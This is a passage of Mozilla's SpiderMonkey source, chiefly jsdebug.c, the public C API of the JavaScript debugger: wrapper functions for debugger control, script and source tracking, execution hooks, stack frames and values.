c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //{{NO_DEPENDENCIES}} // Microsoft Developer Studio generated include file. // Used by jsd3240.rc // // Next default values for new objects // #ifdef APSTUDIO_INVOKED #ifndef APSTUDIO_READONLY_SYMBOLS #define _APS_NEXT_RESOURCE_VALUE 101 #define _APS_NEXT_COMMAND_VALUE 40001 #define _APS_NEXT_CONTROL_VALUE 1000 #define _APS_NEXT_SYMED_VALUE 101 #endif #endif mozjs17.0.0/js/jsd/jsdebug.c0000664000175000017500000011040512106270662015564 0ustar sstanglsstangl/* -*- Mode: C; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /* * JavaScript Debugging support - All public functions */ #include "jsd.h" /***************************************************************************/ /* High Level calls */ JSD_PUBLIC_API(JSDContext*) JSD_DebuggerOnForUser(JSRuntime* jsrt, JSD_UserCallbacks* callbacks, void* user) { return jsd_DebuggerOnForUser(jsrt, callbacks, user, NULL); } JSD_PUBLIC_API(JSDContext*) JSD_DebuggerOn(void) { return jsd_DebuggerOn(); } JSD_PUBLIC_API(void) JSD_DebuggerOff(JSDContext* jsdc) { JSD_ASSERT_VALID_CONTEXT(jsdc); jsd_DebuggerOff(jsdc); } JSD_PUBLIC_API(void) JSD_DebuggerPause(JSDContext* jsdc) { JSD_ASSERT_VALID_CONTEXT(jsdc); jsd_DebuggerPause(jsdc, JS_FALSE); } JSD_PUBLIC_API(void) JSD_DebuggerUnpause(JSDContext* jsdc) { JSD_ASSERT_VALID_CONTEXT(jsdc); jsd_DebuggerUnpause(jsdc); } JSD_PUBLIC_API(unsigned) JSD_GetMajorVersion(void) { return JSD_MAJOR_VERSION; } JSD_PUBLIC_API(unsigned) JSD_GetMinorVersion(void) { return JSD_MINOR_VERSION; } JSD_PUBLIC_API(JSContext*) JSD_GetDefaultJSContext(JSDContext* jsdc) { JSD_ASSERT_VALID_CONTEXT(jsdc); return jsdc->dumbContext; } JSD_PUBLIC_API(JSRuntime*) JSD_GetJSRuntime(JSDContext* jsdc) { JSD_ASSERT_VALID_CONTEXT(jsdc); return jsdc->jsrt; } JSD_PUBLIC_API(void) JSD_SetUserCallbacks(JSRuntime* jsrt, JSD_UserCallbacks* callbacks, void* user) { jsd_SetUserCallbacks(jsrt, callbacks, user); } JSD_PUBLIC_API(void) JSD_JSContextInUse(JSDContext* jsdc, JSContext* context) { JSD_ASSERT_VALID_CONTEXT(jsdc); /* we no longer need this information - may need it again in the future */ } JSD_PUBLIC_API(void *) JSD_SetContextPrivate(JSDContext *jsdc, void *data) { JSD_ASSERT_VALID_CONTEXT(jsdc); return jsd_SetContextPrivate (jsdc, data); } JSD_PUBLIC_API(void *) JSD_GetContextPrivate(JSDContext *jsdc) { JSD_ASSERT_VALID_CONTEXT(jsdc); return jsd_GetContextPrivate (jsdc); } JSD_PUBLIC_API(void) JSD_ClearAllProfileData(JSDContext *jsdc) { JSD_ASSERT_VALID_CONTEXT(jsdc); jsd_ClearAllProfileData(jsdc); } JSD_PUBLIC_API(void) JSD_SetContextFlags(JSDContext *jsdc, uint32_t flags) { uint32_t oldFlags = jsdc->flags; JSD_ASSERT_VALID_CONTEXT(jsdc); jsdc->flags = flags; if (flags & JSD_COLLECT_PROFILE_DATA) { /* Need to reenable our call hooks now */ JS_SetExecuteHook(jsdc->jsrt, jsd_TopLevelCallHook, jsdc); JS_SetCallHook(jsdc->jsrt, jsd_FunctionCallHook, jsdc); } } JSD_PUBLIC_API(uint32_t) JSD_GetContextFlags(JSDContext *jsdc) { JSD_ASSERT_VALID_CONTEXT(jsdc); return jsdc->flags; } JSD_PUBLIC_API(JSDContext*) JSD_JSDContextForJSContext(JSContext* context) { return jsd_JSDContextForJSContext(context); } /***************************************************************************/ /* Script functions */ JSD_PUBLIC_API(void) JSD_LockScriptSubsystem(JSDContext* jsdc) { JSD_ASSERT_VALID_CONTEXT(jsdc); JSD_LOCK_SCRIPTS(jsdc); } JSD_PUBLIC_API(void) JSD_UnlockScriptSubsystem(JSDContext* jsdc) { JSD_ASSERT_VALID_CONTEXT(jsdc); JSD_UNLOCK_SCRIPTS(jsdc); } JSD_PUBLIC_API(JSDScript*) JSD_IterateScripts(JSDContext* jsdc, JSDScript **iterp) { JSD_ASSERT_VALID_CONTEXT(jsdc); return jsd_IterateScripts(jsdc, iterp); } JSD_PUBLIC_API(uint32_t) JSD_GetScriptFlags(JSDContext *jsdc, JSDScript *script) { JSD_ASSERT_VALID_CONTEXT(jsdc); return jsd_GetScriptFlags(jsdc, script); } JSD_PUBLIC_API(void) JSD_SetScriptFlags(JSDContext *jsdc, JSDScript *script, uint32_t flags) { JSD_ASSERT_VALID_CONTEXT(jsdc); jsd_SetScriptFlags(jsdc, script, flags); } JSD_PUBLIC_API(unsigned) JSD_GetScriptCallCount(JSDContext* jsdc, JSDScript *script) { JSD_ASSERT_VALID_CONTEXT(jsdc); return jsd_GetScriptCallCount(jsdc, script); } JSD_PUBLIC_API(unsigned) JSD_GetScriptMaxRecurseDepth(JSDContext* jsdc, JSDScript *script) { JSD_ASSERT_VALID_CONTEXT(jsdc); return jsd_GetScriptMaxRecurseDepth(jsdc, script); } JSD_PUBLIC_API(double) JSD_GetScriptMinExecutionTime(JSDContext* jsdc, JSDScript *script) { JSD_ASSERT_VALID_CONTEXT(jsdc); return jsd_GetScriptMinExecutionTime(jsdc, script); } JSD_PUBLIC_API(double) JSD_GetScriptMaxExecutionTime(JSDContext* jsdc, JSDScript *script) { JSD_ASSERT_VALID_CONTEXT(jsdc); return jsd_GetScriptMaxExecutionTime(jsdc, script); } JSD_PUBLIC_API(double) JSD_GetScriptTotalExecutionTime(JSDContext* jsdc, JSDScript *script) { JSD_ASSERT_VALID_CONTEXT(jsdc); return jsd_GetScriptTotalExecutionTime(jsdc, script); } JSD_PUBLIC_API(double) JSD_GetScriptMinOwnExecutionTime(JSDContext* jsdc, JSDScript *script) { JSD_ASSERT_VALID_CONTEXT(jsdc); return jsd_GetScriptMinOwnExecutionTime(jsdc, script); } JSD_PUBLIC_API(double) JSD_GetScriptMaxOwnExecutionTime(JSDContext* jsdc, JSDScript *script) { JSD_ASSERT_VALID_CONTEXT(jsdc); return jsd_GetScriptMaxOwnExecutionTime(jsdc, script); } JSD_PUBLIC_API(double) JSD_GetScriptTotalOwnExecutionTime(JSDContext* jsdc, JSDScript *script) { JSD_ASSERT_VALID_CONTEXT(jsdc); return jsd_GetScriptTotalOwnExecutionTime(jsdc, script); } JSD_PUBLIC_API(void) JSD_ClearScriptProfileData(JSDContext* jsdc, JSDScript *script) { JSD_ASSERT_VALID_CONTEXT(jsdc); jsd_ClearScriptProfileData(jsdc, script); } JSD_PUBLIC_API(JSScript*) JSD_GetJSScript(JSDContext* jsdc, JSDScript *script) { return jsd_GetJSScript(jsdc, script); } JSD_PUBLIC_API(JSFunction*) JSD_GetJSFunction(JSDContext* jsdc, JSDScript *script) { return jsd_GetJSFunction (jsdc, script); } JSD_PUBLIC_API(void *) JSD_SetScriptPrivate(JSDScript *jsdscript, void *data) { JSD_ASSERT_VALID_SCRIPT(jsdscript); return jsd_SetScriptPrivate (jsdscript, data); } JSD_PUBLIC_API(void *) JSD_GetScriptPrivate(JSDScript *jsdscript) { JSD_ASSERT_VALID_SCRIPT(jsdscript); return jsd_GetScriptPrivate (jsdscript); } JSD_PUBLIC_API(JSBool) JSD_IsActiveScript(JSDContext* jsdc, JSDScript *jsdscript) { JSD_ASSERT_VALID_CONTEXT(jsdc); return jsd_IsActiveScript(jsdc, jsdscript); } JSD_PUBLIC_API(const char*) JSD_GetScriptFilename(JSDContext* jsdc, JSDScript *jsdscript) { JSD_ASSERT_VALID_CONTEXT(jsdc); JSD_ASSERT_VALID_SCRIPT(jsdscript); return jsd_GetScriptFilename(jsdc, jsdscript); } JSD_PUBLIC_API(JSString *) JSD_GetScriptFunctionId(JSDContext* jsdc, JSDScript *jsdscript) { JSD_ASSERT_VALID_CONTEXT(jsdc); JSD_ASSERT_VALID_SCRIPT(jsdscript); return jsd_GetScriptFunctionId(jsdc, jsdscript); } JSD_PUBLIC_API(unsigned) JSD_GetScriptBaseLineNumber(JSDContext* jsdc, JSDScript *jsdscript) { JSD_ASSERT_VALID_CONTEXT(jsdc); JSD_ASSERT_VALID_SCRIPT(jsdscript); return jsd_GetScriptBaseLineNumber(jsdc, jsdscript); } JSD_PUBLIC_API(unsigned) JSD_GetScriptLineExtent(JSDContext* jsdc, JSDScript *jsdscript) { JSD_ASSERT_VALID_CONTEXT(jsdc); JSD_ASSERT_VALID_SCRIPT(jsdscript); return jsd_GetScriptLineExtent(jsdc, jsdscript); } JSD_PUBLIC_API(JSBool) JSD_SetScriptHook(JSDContext* jsdc, JSD_ScriptHookProc hook, void* callerdata) { JSD_ASSERT_VALID_CONTEXT(jsdc); return jsd_SetScriptHook(jsdc, hook, callerdata); } JSD_PUBLIC_API(JSBool) JSD_GetScriptHook(JSDContext* jsdc, JSD_ScriptHookProc* hook, void** callerdata) { JSD_ASSERT_VALID_CONTEXT(jsdc); return jsd_GetScriptHook(jsdc, hook, callerdata); } JSD_PUBLIC_API(uintptr_t) JSD_GetClosestPC(JSDContext* jsdc, JSDScript* jsdscript, unsigned line) { JSD_ASSERT_VALID_CONTEXT(jsdc); JSD_ASSERT_VALID_SCRIPT(jsdscript); return jsd_GetClosestPC(jsdc, jsdscript, line); } JSD_PUBLIC_API(unsigned) JSD_GetClosestLine(JSDContext* jsdc, JSDScript* jsdscript, uintptr_t pc) { JSD_ASSERT_VALID_CONTEXT(jsdc); JSD_ASSERT_VALID_SCRIPT(jsdscript); return jsd_GetClosestLine(jsdc, jsdscript, pc); } JSD_PUBLIC_API(JSBool) JSD_GetLinePCs(JSDContext* jsdc, JSDScript* jsdscript, unsigned startLine, unsigned maxLines, unsigned* count, unsigned** lines, uintptr_t** pcs) { JSD_ASSERT_VALID_CONTEXT(jsdc); JSD_ASSERT_VALID_SCRIPT(jsdscript); return jsd_GetLinePCs(jsdc, jsdscript, startLine, maxLines, count, lines, pcs); } JSD_PUBLIC_API(void) JSD_ScriptCreated(JSDContext* jsdc, JSContext *cx, const char *filename, /* URL this script loads from */ unsigned lineno, /* line where this script starts */ JSScript *script, JSFunction *fun) { JSD_ASSERT_VALID_CONTEXT(jsdc); jsd_ScriptCreated(jsdc, cx, filename, lineno, script, fun); } JSD_PUBLIC_API(void) JSD_ScriptDestroyed(JSDContext* jsdc, JSFreeOp *fop, JSScript *script) { JSD_ASSERT_VALID_CONTEXT(jsdc); jsd_ScriptDestroyed(jsdc, fop, script); } /***************************************************************************/ /* Source Text functions */ JSD_PUBLIC_API(void) JSD_LockSourceTextSubsystem(JSDContext* jsdc) { JSD_ASSERT_VALID_CONTEXT(jsdc); JSD_LOCK_SOURCE_TEXT(jsdc); } JSD_PUBLIC_API(void) JSD_UnlockSourceTextSubsystem(JSDContext* jsdc) { JSD_ASSERT_VALID_CONTEXT(jsdc); JSD_UNLOCK_SOURCE_TEXT(jsdc); } JSD_PUBLIC_API(JSDSourceText*) JSD_IterateSources(JSDContext* jsdc, JSDSourceText **iterp) { JSD_ASSERT_VALID_CONTEXT(jsdc); return jsd_IterateSources(jsdc, iterp); } JSD_PUBLIC_API(JSDSourceText*) JSD_FindSourceForURL(JSDContext* jsdc, const char* url) { JSD_ASSERT_VALID_CONTEXT(jsdc); JS_ASSERT(url); return jsd_FindSourceForURL(jsdc, url); } JSD_PUBLIC_API(const char*) JSD_GetSourceURL(JSDContext* jsdc, JSDSourceText* jsdsrc) { JSD_ASSERT_VALID_CONTEXT(jsdc); JSD_ASSERT_VALID_SOURCE_TEXT(jsdsrc); return jsd_GetSourceURL(jsdc,jsdsrc); } JSD_PUBLIC_API(JSBool) JSD_GetSourceText(JSDContext* jsdc, JSDSourceText* jsdsrc, const char** ppBuf, int* pLen) { JSD_ASSERT_VALID_CONTEXT(jsdc); JSD_ASSERT_VALID_SOURCE_TEXT(jsdsrc); JS_ASSERT(ppBuf); JS_ASSERT(pLen); return jsd_GetSourceText(jsdc, jsdsrc, ppBuf, pLen); } JSD_PUBLIC_API(void) JSD_ClearSourceText(JSDContext* jsdc, JSDSourceText* jsdsrc) { JSD_ASSERT_VALID_CONTEXT(jsdc); JSD_ASSERT_VALID_SOURCE_TEXT(jsdsrc); jsd_ClearSourceText(jsdc, jsdsrc); } JSD_PUBLIC_API(JSDSourceStatus) JSD_GetSourceStatus(JSDContext* jsdc, JSDSourceText* jsdsrc) { JSD_ASSERT_VALID_CONTEXT(jsdc); JSD_ASSERT_VALID_SOURCE_TEXT(jsdsrc); return jsd_GetSourceStatus(jsdc, jsdsrc); } JSD_PUBLIC_API(JSBool) JSD_IsSourceDirty(JSDContext* jsdc, JSDSourceText* jsdsrc) { JSD_ASSERT_VALID_CONTEXT(jsdc); JSD_ASSERT_VALID_SOURCE_TEXT(jsdsrc); return jsd_IsSourceDirty(jsdc, jsdsrc); } JSD_PUBLIC_API(void) JSD_SetSourceDirty(JSDContext* jsdc, JSDSourceText* jsdsrc, JSBool dirty) { JSD_ASSERT_VALID_CONTEXT(jsdc); JSD_ASSERT_VALID_SOURCE_TEXT(jsdsrc); jsd_SetSourceDirty(jsdc, jsdsrc, dirty); } JSD_PUBLIC_API(unsigned) JSD_GetSourceAlterCount(JSDContext* jsdc, JSDSourceText* jsdsrc) { JSD_ASSERT_VALID_CONTEXT(jsdc); JSD_ASSERT_VALID_SOURCE_TEXT(jsdsrc); return jsd_GetSourceAlterCount(jsdc, jsdsrc); } JSD_PUBLIC_API(unsigned) JSD_IncrementSourceAlterCount(JSDContext* jsdc, JSDSourceText* jsdsrc) { JSD_ASSERT_VALID_CONTEXT(jsdc); JSD_ASSERT_VALID_SOURCE_TEXT(jsdsrc); return jsd_IncrementSourceAlterCount(jsdc, jsdsrc); } JSD_PUBLIC_API(void) JSD_DestroyAllSources( JSDContext* jsdc ) { JSD_ASSERT_VALID_CONTEXT(jsdc); jsd_DestroyAllSources(jsdc); } JSD_PUBLIC_API(JSDSourceText*) JSD_NewSourceText(JSDContext* jsdc, const char* url) { JSD_ASSERT_VALID_CONTEXT(jsdc); JS_ASSERT(url); return jsd_NewSourceText(jsdc, url); } JSD_PUBLIC_API(JSDSourceText*) JSD_AppendSourceText(JSDContext* jsdc, JSDSourceText* jsdsrc, const char* text, /* *not* zero terminated */ size_t length, JSDSourceStatus status) { JSD_ASSERT_VALID_CONTEXT(jsdc); JSD_ASSERT_VALID_SOURCE_TEXT(jsdsrc); return jsd_AppendSourceText(jsdc, jsdsrc, text, length, status); } extern JSD_PUBLIC_API(JSDSourceText*) JSD_AppendUCSourceText(JSDContext* jsdc, JSDSourceText* jsdsrc, const jschar* text, /* *not* zero terminated */ size_t length, JSDSourceStatus status) { JSD_ASSERT_VALID_CONTEXT(jsdc); JSD_ASSERT_VALID_SOURCE_TEXT(jsdsrc); return jsd_AppendUCSourceText(jsdc, jsdsrc, text, length, status); } JSD_PUBLIC_API(JSBool) JSD_AddFullSourceText(JSDContext* jsdc, const char* text, /* *not* zero terminated */ size_t length, const char* url) { JSD_ASSERT_VALID_CONTEXT(jsdc); JS_ASSERT(url); return jsd_AddFullSourceText(jsdc, text, length, url); } /***************************************************************************/ /* Execution/Interrupt Hook functions */ JSD_PUBLIC_API(JSBool) JSD_SetExecutionHook(JSDContext* jsdc, JSDScript* jsdscript, uintptr_t pc, JSD_ExecutionHookProc hook, void* callerdata) { JSD_ASSERT_VALID_CONTEXT(jsdc); JSD_ASSERT_VALID_SCRIPT(jsdscript); return jsd_SetExecutionHook(jsdc, jsdscript, pc, hook, callerdata); } JSD_PUBLIC_API(JSBool) JSD_ClearExecutionHook(JSDContext* jsdc, JSDScript* jsdscript, uintptr_t pc) { JSD_ASSERT_VALID_CONTEXT(jsdc); JSD_ASSERT_VALID_SCRIPT(jsdscript); return jsd_ClearExecutionHook(jsdc, jsdscript, pc); } JSD_PUBLIC_API(JSBool) JSD_ClearAllExecutionHooksForScript(JSDContext* jsdc, JSDScript* jsdscript) { JSD_ASSERT_VALID_CONTEXT(jsdc); JSD_ASSERT_VALID_SCRIPT(jsdscript); return jsd_ClearAllExecutionHooksForScript(jsdc, jsdscript); } JSD_PUBLIC_API(JSBool) JSD_ClearAllExecutionHooks(JSDContext* jsdc) { JSD_ASSERT_VALID_CONTEXT(jsdc); return jsd_ClearAllExecutionHooks(jsdc); } JSD_PUBLIC_API(JSBool) JSD_SetInterruptHook(JSDContext* jsdc, JSD_ExecutionHookProc hook, void* callerdata) { JSD_ASSERT_VALID_CONTEXT(jsdc); return jsd_SetInterruptHook(jsdc, hook, callerdata); } JSD_PUBLIC_API(JSBool) JSD_EnableSingleStepInterrupts(JSDContext* jsdc, JSDScript* jsdscript, JSBool enable) { JSD_ASSERT_VALID_CONTEXT(jsdc); JSD_ASSERT_VALID_SCRIPT(jsdscript); return jsd_EnableSingleStepInterrupts(jsdc, jsdscript, enable); } JSD_PUBLIC_API(JSBool) JSD_ClearInterruptHook(JSDContext* jsdc) { JSD_ASSERT_VALID_CONTEXT(jsdc); return jsd_ClearInterruptHook(jsdc); } JSD_PUBLIC_API(JSBool) JSD_SetDebugBreakHook(JSDContext* jsdc, JSD_ExecutionHookProc hook, void* callerdata) { JSD_ASSERT_VALID_CONTEXT(jsdc); return jsd_SetDebugBreakHook(jsdc, hook, callerdata); } JSD_PUBLIC_API(JSBool) JSD_ClearDebugBreakHook(JSDContext* jsdc) { JSD_ASSERT_VALID_CONTEXT(jsdc); return jsd_ClearDebugBreakHook(jsdc); } JSD_PUBLIC_API(JSBool) JSD_SetDebuggerHook(JSDContext* jsdc, JSD_ExecutionHookProc hook, void* callerdata) { JSD_ASSERT_VALID_CONTEXT(jsdc); return jsd_SetDebuggerHook(jsdc, hook, callerdata); } JSD_PUBLIC_API(JSBool) JSD_ClearDebuggerHook(JSDContext* jsdc) { JSD_ASSERT_VALID_CONTEXT(jsdc); return jsd_ClearDebuggerHook(jsdc); } JSD_PUBLIC_API(JSBool) JSD_SetThrowHook(JSDContext* jsdc, JSD_ExecutionHookProc hook, void* callerdata) { JSD_ASSERT_VALID_CONTEXT(jsdc); return jsd_SetThrowHook(jsdc, hook, callerdata); } JSD_PUBLIC_API(JSBool) JSD_ClearThrowHook(JSDContext* jsdc) { JSD_ASSERT_VALID_CONTEXT(jsdc); return jsd_ClearThrowHook(jsdc); } JSD_PUBLIC_API(JSBool) JSD_SetTopLevelHook(JSDContext* jsdc, JSD_CallHookProc hook, void* callerdata) { JSD_ASSERT_VALID_CONTEXT(jsdc); return jsd_SetTopLevelHook(jsdc, hook, callerdata); } JSD_PUBLIC_API(JSBool) JSD_ClearTopLevelHook(JSDContext* jsdc) { JSD_ASSERT_VALID_CONTEXT(jsdc); return jsd_ClearTopLevelHook(jsdc); } JSD_PUBLIC_API(JSBool) JSD_SetFunctionHook(JSDContext* jsdc, JSD_CallHookProc hook, void* callerdata) { JSD_ASSERT_VALID_CONTEXT(jsdc); return jsd_SetFunctionHook(jsdc, hook, callerdata); } JSD_PUBLIC_API(JSBool) JSD_ClearFunctionHook(JSDContext* jsdc) { JSD_ASSERT_VALID_CONTEXT(jsdc); return jsd_ClearFunctionHook(jsdc); } /***************************************************************************/ /* Stack Frame functions */ JSD_PUBLIC_API(unsigned) JSD_GetCountOfStackFrames(JSDContext* jsdc, JSDThreadState* jsdthreadstate) { JSD_ASSERT_VALID_CONTEXT(jsdc); return jsd_GetCountOfStackFrames(jsdc, jsdthreadstate); } JSD_PUBLIC_API(JSDStackFrameInfo*) JSD_GetStackFrame(JSDContext* jsdc, JSDThreadState* jsdthreadstate) { JSD_ASSERT_VALID_CONTEXT(jsdc); return jsd_GetStackFrame(jsdc, jsdthreadstate); } JSD_PUBLIC_API(JSContext*) JSD_GetJSContext(JSDContext* jsdc, JSDThreadState* jsdthreadstate) { JSD_ASSERT_VALID_CONTEXT(jsdc); return jsd_GetJSContext(jsdc, jsdthreadstate); } JSD_PUBLIC_API(JSDStackFrameInfo*) JSD_GetCallingStackFrame(JSDContext* jsdc, JSDThreadState* jsdthreadstate, JSDStackFrameInfo* jsdframe) { JSD_ASSERT_VALID_CONTEXT(jsdc); return jsd_GetCallingStackFrame(jsdc, jsdthreadstate, jsdframe); } JSD_PUBLIC_API(JSDScript*) JSD_GetScriptForStackFrame(JSDContext* jsdc, JSDThreadState* jsdthreadstate, JSDStackFrameInfo* jsdframe) { JSD_ASSERT_VALID_CONTEXT(jsdc); return jsd_GetScriptForStackFrame(jsdc, jsdthreadstate, jsdframe); } JSD_PUBLIC_API(uintptr_t) JSD_GetPCForStackFrame(JSDContext* jsdc, JSDThreadState* jsdthreadstate, JSDStackFrameInfo* jsdframe) { JSD_ASSERT_VALID_CONTEXT(jsdc); return jsd_GetPCForStackFrame(jsdc, jsdthreadstate, jsdframe); } JSD_PUBLIC_API(JSDValue*) JSD_GetCallObjectForStackFrame(JSDContext* jsdc, JSDThreadState* jsdthreadstate, JSDStackFrameInfo* jsdframe) { JSD_ASSERT_VALID_CONTEXT(jsdc); return jsd_GetCallObjectForStackFrame(jsdc, jsdthreadstate, jsdframe); } JSD_PUBLIC_API(JSDValue*) JSD_GetScopeChainForStackFrame(JSDContext* jsdc, JSDThreadState* jsdthreadstate, JSDStackFrameInfo* jsdframe) { JSD_ASSERT_VALID_CONTEXT(jsdc); return jsd_GetScopeChainForStackFrame(jsdc, jsdthreadstate, jsdframe); } JSD_PUBLIC_API(JSDValue*) JSD_GetThisForStackFrame(JSDContext* jsdc, JSDThreadState* jsdthreadstate, JSDStackFrameInfo* jsdframe) { JSD_ASSERT_VALID_CONTEXT(jsdc); return jsd_GetThisForStackFrame(jsdc, jsdthreadstate, jsdframe); } JSD_PUBLIC_API(JSString *) JSD_GetIdForStackFrame(JSDContext* jsdc, JSDThreadState* jsdthreadstate, JSDStackFrameInfo* jsdframe) { JSD_ASSERT_VALID_CONTEXT(jsdc); return jsd_GetIdForStackFrame(jsdc, jsdthreadstate, jsdframe); } JSD_PUBLIC_API(JSBool) JSD_IsStackFrameDebugger(JSDContext* jsdc, JSDThreadState* jsdthreadstate, JSDStackFrameInfo* jsdframe) { JSD_ASSERT_VALID_CONTEXT(jsdc); return jsd_IsStackFrameDebugger(jsdc, jsdthreadstate, jsdframe); } JSD_PUBLIC_API(JSBool) JSD_IsStackFrameConstructing(JSDContext* jsdc, JSDThreadState* jsdthreadstate, JSDStackFrameInfo* jsdframe) { JSD_ASSERT_VALID_CONTEXT(jsdc); return jsd_IsStackFrameConstructing(jsdc, jsdthreadstate, jsdframe); } JSD_PUBLIC_API(JSBool) JSD_EvaluateUCScriptInStackFrame(JSDContext* jsdc, JSDThreadState* jsdthreadstate, JSDStackFrameInfo* jsdframe, const jschar *bytes, unsigned length, const char *filename, unsigned lineno, jsval *rval) { JSD_ASSERT_VALID_CONTEXT(jsdc); JS_ASSERT(bytes); JS_ASSERT(length); JS_ASSERT(filename); JS_ASSERT(rval); return jsd_EvaluateUCScriptInStackFrame(jsdc, jsdthreadstate,jsdframe, bytes, length, filename, lineno, JS_TRUE, rval); } JSD_PUBLIC_API(JSBool) JSD_AttemptUCScriptInStackFrame(JSDContext* jsdc, JSDThreadState* jsdthreadstate, JSDStackFrameInfo* jsdframe, const jschar *bytes, unsigned length, const char *filename, unsigned lineno, jsval *rval) { JSD_ASSERT_VALID_CONTEXT(jsdc); JS_ASSERT(bytes); JS_ASSERT(length); JS_ASSERT(filename); JS_ASSERT(rval); return jsd_EvaluateUCScriptInStackFrame(jsdc, jsdthreadstate,jsdframe, bytes, length, filename, lineno, JS_FALSE, rval); } JSD_PUBLIC_API(JSBool) JSD_EvaluateScriptInStackFrame(JSDContext* jsdc, JSDThreadState* jsdthreadstate, JSDStackFrameInfo* jsdframe, const char *bytes, unsigned length, const char *filename, unsigned lineno, jsval *rval) { JSD_ASSERT_VALID_CONTEXT(jsdc); JS_ASSERT(bytes); JS_ASSERT(length); JS_ASSERT(filename); JS_ASSERT(rval); return jsd_EvaluateScriptInStackFrame(jsdc, jsdthreadstate,jsdframe, bytes, length, filename, lineno, JS_TRUE, rval); } JSD_PUBLIC_API(JSBool) JSD_AttemptScriptInStackFrame(JSDContext* jsdc, JSDThreadState* jsdthreadstate, JSDStackFrameInfo* jsdframe, const char *bytes, unsigned length, const char *filename, unsigned lineno, jsval *rval) { JSD_ASSERT_VALID_CONTEXT(jsdc); JS_ASSERT(bytes); JS_ASSERT(length); JS_ASSERT(filename); JS_ASSERT(rval); return jsd_EvaluateScriptInStackFrame(jsdc, jsdthreadstate,jsdframe, bytes, length, filename, lineno, JS_FALSE, rval); } JSD_PUBLIC_API(JSString*) JSD_ValToStringInStackFrame(JSDContext* jsdc, JSDThreadState* jsdthreadstate, JSDStackFrameInfo* jsdframe, jsval val) { JSD_ASSERT_VALID_CONTEXT(jsdc); return jsd_ValToStringInStackFrame(jsdc, jsdthreadstate, jsdframe, val); } JSD_PUBLIC_API(JSDValue*) JSD_GetException(JSDContext* jsdc, JSDThreadState* jsdthreadstate) { JSD_ASSERT_VALID_CONTEXT(jsdc); return jsd_GetException(jsdc, jsdthreadstate); } extern JSD_PUBLIC_API(JSBool) JSD_SetException(JSDContext* jsdc, JSDThreadState* jsdthreadstate, JSDValue* jsdval) { JSD_ASSERT_VALID_CONTEXT(jsdc); return jsd_SetException(jsdc, jsdthreadstate, jsdval); } /***************************************************************************/ JSD_PUBLIC_API(JSBool) JSD_SetErrorReporter(JSDContext* jsdc, JSD_ErrorReporter reporter, void* callerdata) { JSD_ASSERT_VALID_CONTEXT(jsdc); return jsd_SetErrorReporter(jsdc, reporter, callerdata); } JSD_PUBLIC_API(JSBool) JSD_GetErrorReporter(JSDContext* jsdc, JSD_ErrorReporter* reporter, void** callerdata) { JSD_ASSERT_VALID_CONTEXT(jsdc); return jsd_GetErrorReporter(jsdc, reporter, callerdata); } /***************************************************************************/ JSD_PUBLIC_API(JSBool) JSD_IsLockingAndThreadIdSupported() { #ifdef JSD_THREADSAFE return JS_TRUE; #else return JS_FALSE; #endif } JSD_PUBLIC_API(void*) JSD_CreateLock() { #ifdef JSD_THREADSAFE return jsd_CreateLock(); #else return (void*)1; #endif } JSD_PUBLIC_API(void) JSD_Lock(void* lock) { #ifdef JSD_THREADSAFE jsd_Lock(lock); #endif } JSD_PUBLIC_API(void) JSD_Unlock(void* lock) { #ifdef JSD_THREADSAFE jsd_Unlock(lock); #endif } JSD_PUBLIC_API(JSBool) JSD_IsLocked(void* lock) { #if defined(JSD_THREADSAFE) && defined(DEBUG) return jsd_IsLocked(lock); #else return JS_TRUE; #endif } JSD_PUBLIC_API(JSBool) JSD_IsUnlocked(void* lock) { #if defined(JSD_THREADSAFE) && defined(DEBUG) return ! jsd_IsLocked(lock); #else return JS_TRUE; #endif } JSD_PUBLIC_API(void*) JSD_CurrentThread() { return JSD_CURRENT_THREAD(); } /***************************************************************************/ /* Value and Property Functions */ JSD_PUBLIC_API(JSDValue*) JSD_NewValue(JSDContext* jsdc, jsval val) { JSD_ASSERT_VALID_CONTEXT(jsdc); return jsd_NewValue(jsdc, val); } JSD_PUBLIC_API(void) JSD_DropValue(JSDContext* jsdc, JSDValue* jsdval) { JSD_ASSERT_VALID_CONTEXT(jsdc); JSD_ASSERT_VALID_VALUE(jsdval); jsd_DropValue(jsdc, jsdval); } JSD_PUBLIC_API(jsval) JSD_GetValueWrappedJSVal(JSDContext* jsdc, JSDValue* jsdval) { JSD_ASSERT_VALID_CONTEXT(jsdc); JSD_ASSERT_VALID_VALUE(jsdval); return jsd_GetValueWrappedJSVal(jsdc, jsdval); } JSD_PUBLIC_API(void) JSD_RefreshValue(JSDContext* jsdc, JSDValue* jsdval) { JSD_ASSERT_VALID_CONTEXT(jsdc); JSD_ASSERT_VALID_VALUE(jsdval); jsd_RefreshValue(jsdc, jsdval); } /**************************************************/ JSD_PUBLIC_API(JSBool) JSD_IsValueObject(JSDContext* jsdc, JSDValue* jsdval) { JSD_ASSERT_VALID_CONTEXT(jsdc); JSD_ASSERT_VALID_VALUE(jsdval); return jsd_IsValueObject(jsdc, jsdval); } JSD_PUBLIC_API(JSBool) JSD_IsValueNumber(JSDContext* jsdc, JSDValue* jsdval) { JSD_ASSERT_VALID_CONTEXT(jsdc); JSD_ASSERT_VALID_VALUE(jsdval); return jsd_IsValueNumber(jsdc, jsdval); } JSD_PUBLIC_API(JSBool) JSD_IsValueInt(JSDContext* jsdc, JSDValue* jsdval) { JSD_ASSERT_VALID_CONTEXT(jsdc); JSD_ASSERT_VALID_VALUE(jsdval); return jsd_IsValueInt(jsdc, jsdval); } JSD_PUBLIC_API(JSBool) JSD_IsValueDouble(JSDContext* jsdc, JSDValue* jsdval) { JSD_ASSERT_VALID_CONTEXT(jsdc); JSD_ASSERT_VALID_VALUE(jsdval); return jsd_IsValueDouble(jsdc, jsdval); } JSD_PUBLIC_API(JSBool) JSD_IsValueString(JSDContext* jsdc, JSDValue* jsdval) { JSD_ASSERT_VALID_CONTEXT(jsdc); JSD_ASSERT_VALID_VALUE(jsdval); return jsd_IsValueString(jsdc, jsdval); } JSD_PUBLIC_API(JSBool) JSD_IsValueBoolean(JSDContext* jsdc, JSDValue* jsdval) { JSD_ASSERT_VALID_CONTEXT(jsdc); JSD_ASSERT_VALID_VALUE(jsdval); return jsd_IsValueBoolean(jsdc, jsdval); } 